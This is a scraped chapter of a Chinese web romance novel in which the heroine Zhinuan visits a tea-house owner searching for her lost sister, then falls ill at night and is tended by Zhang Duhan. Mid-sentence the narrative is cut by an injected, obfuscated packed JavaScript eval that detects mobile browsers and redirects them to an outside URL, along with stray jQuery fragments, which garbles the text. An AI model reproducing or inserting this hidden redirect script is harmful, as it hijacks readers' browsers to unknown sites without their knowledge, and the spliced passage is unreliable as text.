默认冷灰
24号文字
方正启体

40. 秋光茶

作者:珠响本书字数:K更新时间:
    熏香烟雾飘摇,一进房似是来了果园,满是甜甜的柑橘清香,房内暗黄装潢在日光照耀下熠熠生辉。


    织暖四下打量着,硕大四折叠丝绸屏风上精雕细琢,绣着龙凤呈祥,麒麟献瑞,屏风后隐隐可见拔步床。


    这里应是坊主的闺房。


    “坐吧,”坊主语气明显缓和许多,浅笑道:“话本我解颜坊已收下,十两银子一分不少递给搬箱子的小哥了。”


    “你且说说,你找骆浔做什么?”


    织暖于是一五一十将骆浔曾被江家捡到,做侍女之事说了一遍,但并未提及尚术府,又道:“骆浔姨道要去寻阿姊,几个月前便离了府,临行前,曾听她提及有常道观,提及要去花鸟市。她也算我半个娘亲了,打小看着我长大,我对她也是有感情的,我很想她,这才想着来花鸟市找找。”


    坊主咬了一口冰糖橘瓣,眸子闪烁,“你也是大兴来的?”


    织暖有些意外,重点不该是骆浔在哪吗,怎问自己是何处来的,她面带不解轻轻颔首。


    坊主似是意识到什么,含笑“啊”了声,友好道:“我是她阿姊。”


    “猜到了。”


    打见她第一面,织暖便隐隐猜到了。


    又闻面前女子追问道:“她如今在哪?你可否找到?”


    织暖摇摇头,“我前几日去了有常道观,发现已废弃多年。”


    “如此说来,你也不知她在哪,但可以确定的是,她来了花鸟市。”眼见坊主脸上的笑容逐渐凝固,眸色深沉,难掩失望。


    看样子,坊主也不知骆浔在哪,骆浔说过要去的有常道观也早已废弃。


    “她欲寻你,定不会走远。”织暖肯定道。


    “但愿,瞧我,只顾着问阿妹了,竟忘记问你叫什么名字。”


    织暖面露为难,思忖半晌后,觉得二人有共同的目的,坊主也算可信之人,故而卸了戒备道:“实不相瞒,此番我是秘密来南冥的,只为寻骆浔姨,在造纸坊做工也是为谋生的权宜之计。不过和坊主也算投缘,叫我织暖便成,希望坊主不要向任何人提及我来过。”


    也是,若非寻骆浔,她绝不会冒险暴露自己。


    坊主一听,心里有了大概,好端端的普通百姓,无非是格外貌美了些,并不至于隐瞒身份。


    她挤出一抹明媚的笑,“妹妹自是放心,我啊,其实也算得半个大兴人,今日见你也是倍感亲切。”


    半个大兴人?织暖暗自思忖,也是,她和骆浔应是在大兴出生的。


    坊主见她不语,似是在想什么,又道:“我是南冥人,不过,我夫君是大兴人。”


    “坊主有夫君?”


    织暖如果没记错,黄欧曾提过坊主不曾婚嫁。


    只听眼前女人转着手中茶盏,眼神聚焦无神,缓缓道:“是啊,我们曾拜过天地,当然是夫妻。”


    织暖观察着她,坊主的眼眸微微下落,语气里有掩盖不住的落寞,结合外界传闻,难不成,她夫君死了?


    “人死不可复生,坊主还请节哀。”


    噗——


    下一瞬,温热茶水吐了织暖一身,织暖呆滞眨眨瞪的圆溜溜的大眼,嘴巴微张,满脸不可置信。


    “咳……咳……”坊主捂着胸脯,水珠正沿着她嘴角往下滑落,她皱眉擦了擦嘴道:“外面就是这样传我的?”


    意识到自己似是说了很不吉利的话,织暖神情尴尬,“啊……抱歉坊主,我不是那意思。”


    “无妨,传闻又怪不得你,”坊主朝织暖递了块帕子,“等再见到我那位夫君,定叫他听听谣言都是如何说他的。”语毕无奈笑出了声。


    织暖接过帕子简单擦了擦,“看来流言,大多是添油加醋的杜撰。”


    流言不可全信,外界对张独寒活阎王的传闻,或许也不能全信。


    “不过坊主,我能冒昧问一句,您夫君是怎样的人吗?”


    见坊主若有所思,久久不言,她想了想又补充道:“我没别的意思,只是好奇,您这样好的女子,既聪明又貌美,会和怎样的男子婚配。”


    坊主似是被她的话逗笑,哈哈笑个不停,半晌才平复道:“织暖,别对男子抱太大期望,世上男人,本质上都是一样的。”


    “你眼里我这样好的人,不也是被丢下了。”坊主眼眸渐染落寞。


    织暖被茶水香气吸引,正举起茶杯细品,茶水带着淡淡金银花的芬芳,甘草的回甜,甚为好喝。


    这味道有几分熟悉。


    她闻言大吃一惊,落下茶盏,提了嗓音:“什么?”


    “是哪个不知好歹的家伙!”


    一面说着一面又拿起茶杯将剩下的茶水一饮而尽,她意犹未尽的舔了舔唇。


    坊主见状,又将茶水斟满,道:“提男人只会坏了兴致,来,尝尝这茶如何,妹妹若是喜欢,我送你几包。”


    说完拍拍手,便有侍女随即进门,坊主招手,靠在她耳边说了些什么。


    “那怎么好意思。”织暖腼腆笑笑。


    侍女很快便取了个精致的圆木雕花小盒递给坊主。


    “亥,若不是你,我去哪里打听阿妹的消息,不必客气!拿着罢。”坊主将圆盒塞进织暖怀里,“此乃我解颜坊的独门招牌,名曰秋光,有解乏凉血之功效,冬日多食辣,易上火,这茶啊有奇效。”


    织暖见不好推脱,再次谢过坊主后将茶收下。


    “对了,明日是二月十四,寅时开始有社火表演,直至黄昏!热闹的很,我想着你初来乍到,对此地还不熟悉,你若无事,可去瞧瞧!”


    “好,谢坊主告知。”


    织暖随后便返回造纸坊,想着改日趁着天亮再去有常道观走一遭。


    不得不说,这茶的确是织暖喝过最好喝最上瘾的茶,回家后又迫不及待美滋滋沏了一包。


    夜里,她躺在床上突感浑身发寒,腹部隐隐传来疼痛,那股痛感起初并不强烈,只是不舒服,似吃坏肚子。后来痛感愈盛,似是被马车从腹部碾过。


    有凉风自窗棂溜进来,织暖裹紧被子仍是觉得冷,便忍着不适下床去关紧窗户。


    四季如春的花鸟市如今并算不得实打实的冷,只是不知为何,织暖浑身发虚。


    单薄禅衣下的粉色裹胸袍腹和细长白皙的双腿若隐若现,她将被子裹了裹,瑟瑟的走向窗棂。


    甫一伸手,隐隐瞥见窗外似是有个人影曲腿靠在窗边。


    她住的是造纸坊内院,一间方方正正的四合院,只有她、任若水、谭疾知在此。


    织暖警觉起来,顺手扯了屋内发财树上的一片绿叶,什么人,大半夜的不睡觉,靠在窗上做甚。


    她谨慎往后退了退,抬手。


    “是我。”


    男人声音冰冷有力。


    织暖一怔,这声音……


    她试探着走上前打开窗,没错,是他。他看起来身体大好没什么异常,不过具体


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894790|171891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好没好,她也不知道,毕竟他穿着衣服。


    她仔细想过,当日他应不是要送她去衙门,或许正如张独寒所说,是她把他想得太坏。


    织暖直言:“我还以为你死了。”


    只见张独寒正懒懒斜倚在窗边,本朝她笑的嘴角突然紧闭,抿了抿唇,目光在她身上逡巡一番,语气隐隐饱含怒意:“会不会说话。”


    织暖没理他。


    良久他又问:“我能进来吗?”


    “等下。”织暖迅速关上窗,拎起外衣往身上套。换衣期间,凉意使得她腹部疼痛尤甚。


    她微弓着腰,强忍钻心的疼痛打开了窗,有气无力道:“你来这做什么?”


    张独寒一跃,跳进屋内,转身将窗关上,平静道:“有话想对你说。”


    回眸又瞧见织暖神态脸色皆不正常,他皱了皱眉,“你怎么了,哪里不舒服?”


    织暖站不住,身子缓缓蹲了下去,娇声道:“肚子疼。”


    张独寒紧眉无言,立即弯腰将人横抱起来,往床榻走去。


    织暖没精力再动,疼痛使她几欲昏死过去,脸颊靠在他胸口,感受着他咚咚有力的心跳声,“疼……我好疼。”她嗫嚅着。


    张独寒无声叹了口气,心里犹如被刀子剜过,这女人,总是不叫人省心。


    织暖感受到他正轻轻将自己放在床榻上,为自己盖好被子后又探了探她额间。


    “没发烧,你可是吃什么了?”他声线是难得的柔和。


    织暖闭眼摇摇头,眉心紧蹙,“没有。”


    她觉得好冷,伸手拉拉被子,稍一动,突感一股热流在身下蔓延。


    似是……来月事了。


    她算算日子,是差不多。只是平日里她从不会疼的,或许是今日喝了太多秋水茶的缘故。


    张独寒帮她把被子往上拉了拉,看着只露个脑袋的织暖。他本是想问她为何要留在南冥,想带她走,如今这情形,不是议事时机。


    织暖刷的一下拉起被子盖住脑袋,“你走罢,我没事。”


    张独寒坐在榻前,往里塞被子边的手一顿,抬眸看着将自己裹成粽子的人儿,无言起身。


    良久,织暖听闻有脚步声和关门声,以为他走了,这才探出脑袋来。


    岂料一抬眼,便对上张独寒炽热的目光,他正站在床前看向自己。


    “怎么还不走,你很烦。”织暖疼的龇牙咧嘴的又蒙上被子,翻了个身不看他,身下的血还在流。


    张独寒见她脸色苍白,两腮却泛着盈盈红光,猜测应是没什么大事。一低头,又瞥见浸在褥席上的血迹,瞬间心下明了。


    他眼睫颤了颤,低低嗯了一声。


    织暖听着吱拗的关门声,松了口气,这回他应该是真的走了。她忍着腹部坠胀疼痛,意识并不清醒,昏昏换了衣裳。


    正当她强撑弯腰想换褥席时,身后传来敲门声。


    “织暖,是我。”


    织暖没劲再说话,稍稍一动便犹如割腹,疼昏过去。


    恍惚间一个身影进门,他将手里端着的碗放到木桌上后,急急朝她走来。


    那人换好褥席后将她抱上床榻,织暖看不清他的脸,那张脸似隔着朦胧的屏风,任她如何努力都看不真切,但是她知道,是张独寒。


    感受到温热液体流淌进嘴里,一股浓浓的糖水味和姜味萦绕在鼻间,胃里随即涌入一阵暖意。


    “没事的。”他柔声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)